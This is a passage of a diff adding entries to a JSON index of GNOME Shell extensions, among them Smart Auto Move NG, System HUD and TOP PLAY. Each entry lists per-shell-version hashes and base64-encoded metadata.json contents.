+    "45": {"version": "8", "sha256": "04pmahxk901gc6xwvfdmlb1047bldrn99rzf5xpcgjbpf0jwai9p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIEZvcmtlZCBmcm9tIGh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogIkNocmlzTGF1aW5nZXI3NyIsCiAgICAicGF5cGFsIjogIkNocmlzTGF1aW5nZXIiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiU21hcnRBdXRvTW92ZU5HIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUgTkciLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuU21hcnRBdXRvTW92ZU5HIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLVNtYXJ0QXV0b01vdmVORyIsCiAgInV1aWQiOiAiU21hcnRBdXRvTW92ZU5HQGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogOCwKICAidmVyc2lvbi1uYW1lIjogIjQ2LjEiCn0="},
+    "46": {"version": "8", "sha256": "04pmahxk901gc6xwvfdmlb1047bldrn99rzf5xpcgjbpf0jwai9p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIEZvcmtlZCBmcm9tIGh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogIkNocmlzTGF1aW5nZXI3NyIsCiAgICAicGF5cGFsIjogIkNocmlzTGF1aW5nZXIiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiU21hcnRBdXRvTW92ZU5HIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUgTkciLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuU21hcnRBdXRvTW92ZU5HIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLVNtYXJ0QXV0b01vdmVORyIsCiAgInV1aWQiOiAiU21hcnRBdXRvTW92ZU5HQGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogOCwKICAidmVyc2lvbi1uYW1lIjogIjQ2LjEiCn0="},
+    "47": {"version": "14", "sha256": "11rxrf944gbcm1bn1z6190i2dx9mpxdqv2m25hmgddwmx6nrmhd5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuXG5cbkZvcmtlZCBmcm9tIGh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogIkNocmlzTGF1aW5nZXI3NyIsCiAgICAicGF5cGFsIjogIkNocmlzTGF1aW5nZXIiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiU21hcnRBdXRvTW92ZU5HIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUgTkciLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuU21hcnRBdXRvTW92ZU5HIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLVNtYXJ0QXV0b01vdmVORyIsCiAgInV1aWQiOiAiU21hcnRBdXRvTW92ZU5HQGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogMTQsCiAgInZlcnNpb24tbmFtZSI6ICI0OC43Igp9"},
+    "48": {"version": "14", "sha256": "11rxrf944gbcm1bn1z6190i2dx9mpxdqv2m25hmgddwmx6nrmhd5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuXG5cbkZvcmtlZCBmcm9tIGh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogIkNocmlzTGF1aW5nZXI3NyIsCiAgICAicGF5cGFsIjogIkNocmlzTGF1aW5nZXIiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiU21hcnRBdXRvTW92ZU5HIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUgTkciLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuU21hcnRBdXRvTW92ZU5HIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLVNtYXJ0QXV0b01vdmVORyIsCiAgInV1aWQiOiAiU21hcnRBdXRvTW92ZU5HQGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogMTQsCiAgInZlcnNpb24tbmFtZSI6ICI0OC43Igp9"}
+  }}
+, {"uuid": "audio-switch-shortcuts@dbatis.github.com", "name": "Audio Switch Shortcuts", "pname": "audio-switch-shortcuts", "description": "This extension allows you to switch speakers and microphones with global keyboard shortcuts, instead of using the mouse to open the Gnome Panel or navigate menus. It allows you to set specific audio devices to cycle through, and set your own hotkeys.", "link": "https://extensions.gnome.org/extension/8150/audio-switch-shortcuts/", "shell_version_map": {
+    "48": {"version": "3", "sha256": "189hwzwqm3w96gpidqh7mwwsxysqibqaqkfxk8vw9jfz5chia9fd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGFsbG93cyB5b3UgdG8gc3dpdGNoIHNwZWFrZXJzIGFuZCBtaWNyb3Bob25lcyB3aXRoIGdsb2JhbCBrZXlib2FyZCBzaG9ydGN1dHMsIGluc3RlYWQgb2YgdXNpbmcgdGhlIG1vdXNlIHRvIG9wZW4gdGhlIEdub21lIFBhbmVsIG9yIG5hdmlnYXRlIG1lbnVzLiBJdCBhbGxvd3MgeW91IHRvIHNldCBzcGVjaWZpYyBhdWRpbyBkZXZpY2VzIHRvIGN5Y2xlIHRocm91Z2gsIGFuZCBzZXQgeW91ciBvd24gaG90a2V5cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhdWRpby1zd2l0Y2gtc2hvcnRjdXRzQGRiYXRpcy5naXRodWIuY29tIiwKICAibmFtZSI6ICJBdWRpbyBTd2l0Y2ggU2hvcnRjdXRzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1ZGlvLXN3aXRjaC1zaG9ydGN1dHMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZGJhdGlzL2dub21lLXNoZWxsLWV4dGVuc2lvbi1hdWRpby1zd2l0Y2gtc2hvcnRjdXRzIiwKICAidXVpZCI6ICJhdWRpby1zd2l0Y2gtc2hvcnRjdXRzQGRiYXRpcy5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDMsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuMiIKfQ=="}
+  }}
+, {"uuid": "systemHUD@LalaloyXyz", "name": "System HUD", "pname": "system-hud", "description": "Clean UI system monitor for CPU, GPU, memory, and storage._.", "link": "https://extensions.gnome.org/extension/8183/system-hud/", "shell_version_map": {
+    "45": {"version": "8", "sha256": "077whr9s5hjbrhj6bxd9kx8d1bk54248k7czbv3df4gx6hqck6hb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJpd2dldGlkIgogIF0sCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgdG9vbCBwcm92aWRlcyBhIGNvbXByZWhlbnNpdmUgb3ZlcnZpZXcgb2YgdGhlIHN5c3QgZW0ncyBwZXJmb3JtYW5jZSwgaW5jbHVkaW5nIGRldGFpbHMgYWJvdXQgdGhlb3BlcmF0aW5nIHMgeXN0ZW0sIHByb2Nlc3NvciwgbWVtb3J5LCBzdG9yYWdlLCBwb3dlciB1c2FnZSwgYW5kIGdyYXAgaGljcy4gSXQgaXMgZGVzaWduZWQgdG8gZ2l2ZSB1c2VycyBhbmQgZWFzeS10by1yZWFkIGRhc2ggYm9hcmQgdGhhdCBtb25pdG9ycyBrZXkgc3lzdGVtIHBhcmFtZXRlcnMgaW4gcmVhbC10aW1lLiIsCiAgIm5hbWUiOiAiU3lzdGVtIEhVRCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9MYWxhbG95WHl6L1N5c3RlbS1pbmZvLUhVRCIsCiAgInV1aWQiOiAic3lzdGVtSFVEQExhbGFsb3lYeXoiLAogICJ2ZXJzaW9uIjogOAp9"},
+    "46": {"version": "8", "sha256": "077whr9s5hjbrhj6bxd9kx8d1bk54248k7czbv3df4gx6hqck6hb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJpd2dldGlkIgogIF0sCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgdG9vbCBwcm92aWRlcyBhIGNvbXByZWhlbnNpdmUgb3ZlcnZpZXcgb2YgdGhlIHN5c3QgZW0ncyBwZXJmb3JtYW5jZSwgaW5jbHVkaW5nIGRldGFpbHMgYWJvdXQgdGhlb3BlcmF0aW5nIHMgeXN0ZW0sIHByb2Nlc3NvciwgbWVtb3J5LCBzdG9yYWdlLCBwb3dlciB1c2FnZSwgYW5kIGdyYXAgaGljcy4gSXQgaXMgZGVzaWduZWQgdG8gZ2l2ZSB1c2VycyBhbmQgZWFzeS10by1yZWFkIGRhc2ggYm9hcmQgdGhhdCBtb25pdG9ycyBrZXkgc3lzdGVtIHBhcmFtZXRlcnMgaW4gcmVhbC10aW1lLiIsCiAgIm5hbWUiOiAiU3lzdGVtIEhVRCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9MYWxhbG95WHl6L1N5c3RlbS1pbmZvLUhVRCIsCiAgInV1aWQiOiAic3lzdGVtSFVEQExhbGFsb3lYeXoiLAogICJ2ZXJzaW9uIjogOAp9"},
+    "47": {"version": "8", "sha256": "077whr9s5hjbrhj6bxd9kx8d1bk54248k7czbv3df4gx6hqck6hb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJpd2dldGlkIgogIF0sCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgdG9vbCBwcm92aWRlcyBhIGNvbXByZWhlbnNpdmUgb3ZlcnZpZXcgb2YgdGhlIHN5c3QgZW0ncyBwZXJmb3JtYW5jZSwgaW5jbHVkaW5nIGRldGFpbHMgYWJvdXQgdGhlb3BlcmF0aW5nIHMgeXN0ZW0sIHByb2Nlc3NvciwgbWVtb3J5LCBzdG9yYWdlLCBwb3dlciB1c2FnZSwgYW5kIGdyYXAgaGljcy4gSXQgaXMgZGVzaWduZWQgdG8gZ2l2ZSB1c2VycyBhbmQgZWFzeS10by1yZWFkIGRhc2ggYm9hcmQgdGhhdCBtb25pdG9ycyBrZXkgc3lzdGVtIHBhcmFtZXRlcnMgaW4gcmVhbC10aW1lLiIsCiAgIm5hbWUiOiAiU3lzdGVtIEhVRCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9MYWxhbG95WHl6L1N5c3RlbS1pbmZvLUhVRCIsCiAgInV1aWQiOiAic3lzdGVtSFVEQExhbGFsb3lYeXoiLAogICJ2ZXJzaW9uIjogOAp9"},
+    "48": {"version": "8", "sha256": "077whr9s5hjbrhj6bxd9kx8d1bk54248k7czbv3df4gx6hqck6hb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJpd2dldGlkIgogIF0sCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgdG9vbCBwcm92aWRlcyBhIGNvbXByZWhlbnNpdmUgb3ZlcnZpZXcgb2YgdGhlIHN5c3QgZW0ncyBwZXJmb3JtYW5jZSwgaW5jbHVkaW5nIGRldGFpbHMgYWJvdXQgdGhlb3BlcmF0aW5nIHMgeXN0ZW0sIHByb2Nlc3NvciwgbWVtb3J5LCBzdG9yYWdlLCBwb3dlciB1c2FnZSwgYW5kIGdyYXAgaGljcy4gSXQgaXMgZGVzaWduZWQgdG8gZ2l2ZSB1c2VycyBhbmQgZWFzeS10by1yZWFkIGRhc2ggYm9hcmQgdGhhdCBtb25pdG9ycyBrZXkgc3lzdGVtIHBhcmFtZXRlcnMgaW4gcmVhbC10aW1lLiIsCiAgIm5hbWUiOiAiU3lzdGVtIEhVRCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9MYWxhbG95WHl6L1N5c3RlbS1pbmZvLUhVRCIsCiAgInV1aWQiOiAic3lzdGVtSFVEQExhbGFsb3lYeXoiLAogICJ2ZXJzaW9uIjogOAp9"}
+  }}
+, {"uuid": "keylightd-control@jmylchreest.github.io", "name": "Keylightd Control", "pname": "keylightd-control", "description": "Control keylightd via the GNOME Shell Quick Settings menu.", "link": "https://extensions.gnome.org/extension/8185/keylightd-control/", "shell_version_map": {
+    "48": {"version": "3", "sha256": "1wcmgkfzprkgd8kcwkrcz2l4m17sw9p9rxyychwz4z4zhn1498c6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wga2V5bGlnaHRkIHZpYSB0aGUgR05PTUUgU2hlbGwgUXVpY2sgU2V0dGluZ3MgbWVudS4iLAogICJuYW1lIjogIktleWxpZ2h0ZCBDb250cm9sIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmtleWxpZ2h0ZC1jb250cm9sIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2pteWxjaHJlZXN0L2tleWxpZ2h0ZCIsCiAgInV1aWQiOiAia2V5bGlnaHRkLWNvbnRyb2xAam15bGNocmVlc3QuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDMKfQ=="}
+  }}
+, {"uuid": "topplay@dnarrator", "name": "TOP PLAY", "pname": "top-play", "description": "Play songs from JioSaavn in the top bar via the jiosaavn-api-privatecvc2.vercel.app proxy", "link": "https://extensions.gnome.org/extension/8186/top-play/", "shell_version_map": {
+    "40": {"version": "9", "sha256": "1hv825cjv1mjr0h2mn54nh5galry5zar0766c1j2ww9zcanal2nf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJnc3QiCiAgXSwKICAiZGVzY3JpcHRpb24iOiAiUGxheSBzb25ncyBmcm9tIEppb1NhYXZuIGluIHRoZSB0b3AgYmFyIHZpYSB0aGUgamlvc2Fhdm4tYXBpLXByaXZhdGVjdmMyLnZlcmNlbC5hcHAgcHJveHkiLAogICJuYW1lIjogIlRPUCBQTEFZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAic3R5bGVzaGVldCI6ICJzdHlsZXNoZWV0LmNzcyIsCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVtMHVyMS90b3AtcGxheSIsCiAgInV1aWQiOiAidG9wcGxheUBkbmFycmF0b3IiLAogICJ2ZXJzaW9uIjogOQp9"},
+    "41": {"version": "9", "sha256": "1hv825cjv1mjr0h2mn54nh5galry5zar0766c1j2ww9zcanal2nf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJnc3QiCiAgXSwKICAiZGVzY3JpcHRpb24iOiAiUGxheSBzb25ncyBmcm9tIEppb1NhYXZuIGluIHRoZSB0b3AgYmFyIHZpYSB0aGUgamlvc2Fhdm4tYXBpLXByaXZhdGVjdmMyLnZlcmNlbC5hcHAgcHJveHkiLAogICJuYW1lIjogIlRPUCBQTEFZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAic3R5bGVzaGVldCI6ICJzdHlsZXNoZWV0LmNzcyIsCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVtMHVyMS90b3AtcGxheSIsCiAgInV1aWQiOiAidG9wcGxheUBkbmFycmF0b3IiLAogICJ2ZXJzaW9uIjogOQp9"},
+    "42": {"version": "9", "sha256": "1hv825cjv1mjr0h2mn54nh5galry5zar0766c1j2ww9zcanal2nf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJnc3QiCiAgXSwKICAiZGVzY3JpcHRpb24iOiAiUGxheSBzb25ncyBmcm9tIEppb1NhYXZuIGluIHRoZSB0b3AgYmFyIHZpYSB0aGUgamlvc2Fhdm4tYXBpLXByaXZhdGVjdmMyLnZlcmNlbC5hcHAgcHJveHkiLAogICJuYW1lIjogIlRPUCBQTEFZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAic3R5bGVzaGVldCI6ICJzdHlsZXNoZWV0LmNzcyIsCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVtMHVyMS90b3AtcGxheSIsCiAgInV1aWQiOiAidG9wcGxheUBkbmFycmF0b3IiLAogICJ2ZXJzaW9uIjogOQp9"},
+    "43": {"version": "9", "sha256": "1hv825cjv1mjr0h2mn54nh5galry5zar0766c1j2ww9zcanal2nf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJnc3QiCiAgXSwKICAiZGVzY3JpcHRpb24iOiAiUGxheSBzb25ncyBmcm9tIEppb1NhYXZuIGluIHRoZSB0b3AgYmFyIHZpYSB0aGUgamlvc2Fhdm4tYXBpLXByaXZhdGVjdmMyLnZlcmNlbC5hcHAgcHJveHkiLAogICJuYW1lIjogIlRPUCBQTEFZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAic3R5bGVzaGVldCI6ICJzdHlsZXNoZWV0LmNzcyIsCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVtMHVyMS90b3AtcGxheSIsCiAgInV1aWQiOiAidG9wcGxheUBkbmFycmF0b3IiLAogICJ2ZXJzaW9uIjogOQp9"},
+    "44": {"version": "9", "sha256": "1hv825cjv1mjr0h2mn54nh5galry5zar0766c1j2ww9zcanal2nf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlcGVuZGVuY2llcyI6IFsKICAgICJnc3QiCiAgXSwKICAiZGVzY3JpcHRpb24iOiAiUGxheSBzb25ncyBmcm9tIEppb1NhYXZuIGluIHRoZSB0b3AgYmFyIHZpYSB0aGUgamlvc2Fhdm4tYXBpLXByaXZhdGVjdmMyLnZlcmNlbC5hcHAgcHJveHkiLAogICJuYW1lIjogIlRPUCBQTEFZIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAic3R5bGVzaGVldCI6ICJzdHlsZXNoZWV0LmNzcyIsCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVtMHVyMS90b3AtcGxheSIsCiAgInV1aWQiOiAidG9wcGxheUBkbmFycmF0b3IiLAogICJ2ZXJzaW9uIjogOQp9"}
+  }}
+, {"uuid": "splashindicator@ochi12.github.com", "name": "Splash Indicator", "pname": "splash-indicator", "description": "A simple and non-obstructive way to show currently launching applications", "link": "https://extensions.gnome.org/extension/8187/splash-indicator/", "shell_version_map": {
+    "45": {"version": "2", "sha256": "157llxl7m9rabfbr1bzsinr2lhihfvdyr115g7bpmivd7fvf8bfp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFuZCBub24tb2JzdHJ1Y3RpdmUgd2F5IHRvIHNob3cgY3VycmVudGx5IGxhdW5jaGluZyBhcHBsaWNhdGlvbnMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJuYW1lIjogIlNwbGFzaCBJbmRpY2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zcGxhc2gtaW5kaWNhdG9yIiwKICAidXVpZCI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMiwKICAidmVyc2lvbi1uYW1lIjogIjEuMC4wIgp9"},
